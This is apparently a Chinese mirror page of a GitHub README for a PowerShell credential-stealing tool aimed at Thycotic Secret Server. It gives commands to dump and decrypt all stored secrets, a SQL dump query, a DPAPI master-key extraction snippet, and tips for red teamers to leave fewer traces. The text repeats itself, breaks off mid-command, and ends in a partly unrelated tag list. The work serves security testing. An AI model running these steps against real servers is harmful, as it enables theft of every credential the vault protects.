denandz/SecretServerSecretStealer
GitHub: denandz/SecretServerSecretStealer
用于解密 Thycotic Secret Server 中存储的密码和敏感数据的 PowerShell 脚本,支持在线一键提取和离线静默解密两种模式。
Stars: 84 | Forks: 15
# SecretServerSecretStealer
SecretServerSecretStealer 是一个 powershell 脚本,允许解密存储在 Thycotic Secret Server 安装实例中的密码(和其他项目)。该脚本暴露了两个方法:Invoke-SecretDecrypt 和 Invoke-SecretStealer。
Invoke-SecretDecrypt 需要你手动传递解密单个 secret 所需的各种数据(参见解密部分)。Invoke-SecretStealer 设计用于直接在 Thycotic Secret Server 机器上运行,只需将 web 根目录作为参数传入即可。SecretStealer 会解密数据库配置并连接到应用程序的 db。所有相关信息将被提取,并且所有 secrets 都会被解密。
## 执行
Invoke-SecretStealer 应在 Secret Server 本机执行,例如:
```
Invoke-SecretStealer -WebRoot C:\inetpub\wwwroot\SecretServer
```
可以执行 Invoke-SecretDecrypt 来解密特定项。你需要从数据库中检索以下字段:tbSecret.key、tbSecret.IvMEK、tbSecretItem.IV 和 tbSecretItem.ItemValue。请确保在这些条目之间正确关联 SecretID,因为中间密钥对于特定的 SecretID 是唯一的。可以使用以下 SQL 转储所有相关信息以及一些其他辅助数据:
```
select s.SecretName, f.SecretFieldName, s.[Key], s.IvMEK, i.ItemValue, i.IV from tbSecretItem as i JOIN tbSecret as s ON (s.SecretID = i.SecretID) JOIN tbSecretField as f on (i.SecretFieldID = f.SecretFieldID)
```
检索到上述信息后,你可以运行 Invoke-SecretDecrypt
```
Invoke-SecretDecrypt -Item 9993c5097491ba2b42a10b9a9b7a6ab7239b107337c348086eeb5f5b29c76f33 -ItemIV CF4C2D4F7FA432D64D9712212A06EEA9 -IVMek 6080667306DA295A75E22667E9AD0376 -Key 5C195A500A3BF87C29163A52AC4EA2CFF6C5B69407B6F91A7C7B100B6D20121AAFD052C11B13D542EA2F42137258C2EF -EncryptionConfig C:\whatever\encryption.config
```
## 解密
Thycotic Secret Server 的核心运作原则基本上就是“加密越多越好”。每个条目包含多个项目,例如密码、名称、URL 等。这些项目均使用特定于该条目的中间密钥进行加密。该中间密钥由主密钥加密,主密钥在每次安装时都是唯一的,并存储在 encryption.config 文件中。encryption.config 文件本身是一个二进制序列化对象,使用硬编码的密钥和 IV 进行加密(提示:Thycotic.ihawu.Base.FileHydrator 类)。从 Secret Server v10.4 开始,主密钥通过与一个硬编码字符串进行 XOR 混淆,然后使用硬编码密钥加密并存储在 encryption.config 文件中。
每个条目存储在 tbSecret 表中,该条目的每个项目则存储在 tbSecretItem 表中。tbSecret.key 和 tbSecret.IvMEK 分别是条目中间密钥的密文和 IV,这由主密钥解密。tbSecretItem.ItemValue 和 tbSecretItem.IV 是项目本身(例如密码)的密文和 IV,这由中间密钥解密。Invoke-SecretDecrypt 可以接收这些参数并解密项目,你还需要提供 Secret Server 安装根目录中的 encryption.config 文件。
## 兼容性
### < 10.4
此代码已在运行默认配置的多个 Secret Server 版本 V10.1 和 V10.2 实例上进行了测试。
### == 10.4
此代码支持 SecretServer v10.4。在针对较新版本运行时,请指定 -NewFormat 标志。
v10.4 为 encryption.config 文件实现了一种新格式。该文件现在包含一个加密的 blob,它会被解密为专有的二进制格式。需要使用一些 XOR 逻辑从解密后的 blob 中提取长度字段和键值对。请查看 Get-MasterKeysv104 和 Get-XORValue 方法。
### > 10.4
SecretServer v10.5 及更高版本更改了密钥和 IV 的存储方式。可以通过使用 [此 issue](https://github.com/denandz/SecretServerSecretStealer/issues/5#issuecomment-666905276) 中详述的步骤进行提取。
### DPAPI 和 HSM 支持
SecretServerSecretStealer 现已支持 DPAPI。当然,你必须在本机的 SecretServer 上运行此脚本才能使解密生效。目前尚不支持 HSM。
如果你希望离线执行 secret 解密,并且主密钥受 DPAPI 保护,那么你需要首先从系统中提取主密钥,然后将其提供给 Invoke-SecretDecrypt 方法。如下所示:
```
$masterKeys = Get-MasterKeysv104 -path C:\inetpub\wwwroot\SecretServer\encryption.config
$masterkeys.IsEncryptedWithDPAPI # should return true
$decrypted = [Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String($masterkeys.key256), $null, 'LocalMachine')
[Text.Encoding]::ASCII.GetString($decrypted)
```
上述操作将返回主 AES256 密钥,随后你可以使用它离线解密项目:
```
Invoke-SecretDecrypt -MasterKey -Key -IVMek -Item - -ItemIV
-
```
对于试图尽量减少在 Secret Server 上活动痕迹的红队人员来说,转储主密钥(或者在未启用 DPAPI 的情况下直接复制出 `encryption.config`),导出数据库并离线执行解密可能是一个更安全的做法。
## 致谢
* Adrian "我会在周日上午 8 点在咖啡馆逆向这些该死的东西,因为我就是这种人" Hayes - (https://github.com/aj-code/)
* Dozer - 10.4 互操作代码及 DPAPI 支持
* 无论最初是谁画了那个 Hello Kitty 风格的巴风特...
## 许可证
BSD 许可证,详情请见 LICENSE 文件
SecretServerSecretStealer 是一个 powershell 脚本,允许解密存储在 Thycotic Secret Server 安装实例中的密码(和其他项目)。该脚本暴露了两个方法:Invoke-SecretDecrypt 和 Invoke-SecretStealer。
Invoke-SecretDecrypt 需要你手动传递解密单个 secret 所需的各种数据(参见解密部分)。Invoke-SecretStealer 设计用于直接在 Thycotic Secret Server 机器上运行,只需将 web 根目录作为参数传入即可。SecretStealer 会解密数据库配置并连接到应用程序的 db。所有相关信息将被提取,并且所有 secrets 都会被解密。
## 执行
Invoke-SecretStealer 应在 Secret Server 本机执行,例如:
```
Invoke-SecretStealer -WebRoot C:\inetpub\wwwroot\SecretServer
```
可以执行 Invoke-SecretDecrypt 来解密特定项。你需要从数据库中检索以下字段:tbSecret.key、tbSecret.IvMEK、tbSecretItem.IV 和 tbSecretItem.ItemValue。请确保在这些条目之间正确关联 SecretID,因为中间密钥对于特定的 SecretID 是唯一的。可以使用以下 SQL 转储所有相关信息以及一些其他辅助数据:
```
select s.SecretName, f.SecretFieldName, s.[Key], s.IvMEK, i.ItemValue, i.IV from tbSecretItem as i JOIN tbSecret as s ON (s.SecretID = i.SecretID) JOIN tbSecretField as f on (i.SecretFieldID = f.SecretFieldID)
```
检索到上述信息后,你可以运行 Invoke-SecretDecrypt
```
Invoke-SecretDecrypt -Item 9993c5097491ba2b42a10b9a9b7a6ab7239b107337c348086eeb5f5b29c76f33 -ItemIV CF4C2D4F7FA432D64D9712212A06EEA9 -IVMek 6080667306DA295A75E22667E9AD0376 -Key 5C195A500A3BF87C29163A52AC4EA2CFF6C5B69407B6F91A7C7B100B6D20121AAFD052C11B13D542EA2F42137258C2EF -EncryptionConfig C:\whatever\encryption.config
```
## 解密
Thycotic Secret Server 的核心运作原则基本上就是“加密越多越好”。每个条目包含多个项目,例如密码、名称、URL 等。这些项目均使用特定于该条目的中间密钥进行加密。该中间密钥由主密钥加密,主密钥在每次安装时都是唯一的,并存储在 encryption.config 文件中。encryption.config 文件本身是一个二进制序列化对象,使用硬编码的密钥和 IV 进行加密(提示:Thycotic.ihawu.Base.FileHydrator 类)。从 Secret Server v10.4 开始,主密钥通过与一个硬编码字符串进行 XOR 混淆,然后使用硬编码密钥加密并存储在 encryption.config 文件中。
每个条目存储在 tbSecret 表中,该条目的每个项目则存储在 tbSecretItem 表中。tbSecret.key 和 tbSecret.IvMEK 分别是条目中间密钥的密文和 IV,这由主密钥解密。tbSecretItem.ItemValue 和 tbSecretItem.IV 是项目本身(例如密码)的密文和 IV,这由中间密钥解密。Invoke-SecretDecrypt 可以接收这些参数并解密项目,你还需要提供 Secret Server 安装根目录中的 encryption.config 文件。
## 兼容性
### < 10.4
此代码已在运行默认配置的多个 Secret Server 版本 V10.1 和 V10.2 实例上进行了测试。
### == 10.4
此代码支持 SecretServer v10.4。在针对较新版本运行时,请指定 -NewFormat 标志。
v10.4 为 encryption.config 文件实现了一种新格式。该文件现在包含一个加密的 blob,它会被解密为专有的二进制格式。需要使用一些 XOR 逻辑从解密后的 blob 中提取长度字段和键值对。请查看 Get-MasterKeysv104 和 Get-XORValue 方法。
### > 10.4
SecretServer v10.5 及更高版本更改了密钥和 IV 的存储方式。可以通过使用 [此 issue](https://github.com/denandz/SecretServerSecretStealer/issues/5#issuecomment-666905276) 中详述的步骤进行提取。
### DPAPI 和 HSM 支持
SecretServerSecretStealer 现已支持 DPAPI。当然,你必须在本机的 SecretServer 上运行此脚本才能使解密生效。目前尚不支持 HSM。
如果你希望离线执行 secret 解密,并且主密钥受 DPAPI 保护,那么你需要首先从系统中提取主密钥,然后将其提供给 Invoke-SecretDecrypt 方法。如下所示:
```
$masterKeys = Get-MasterKeysv104 -path C:\inetpub\wwwroot\SecretServer\encryption.config
$masterkeys.IsEncryptedWithDPAPI # should return true
$decrypted = [Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String($masterkeys.key256), $null, 'LocalMachine')
[Text.Encoding]::ASCII.GetString($decrypted)
```
上述操作将返回主 AES256 密钥,随后你可以使用它离线解密项目:
```
Invoke-SecretDecrypt -MasterKey 标签:AI合规, IIS, IPv6, Libemu, OpenCanary, PowerShell, Secret Server, StruQ, Thycotic, 凭据窃取, 多人体追踪, 安全测试, 密码解密, 攻击性安全, 数据展示, 数据库解密, 数据提取, 无线安全, 红队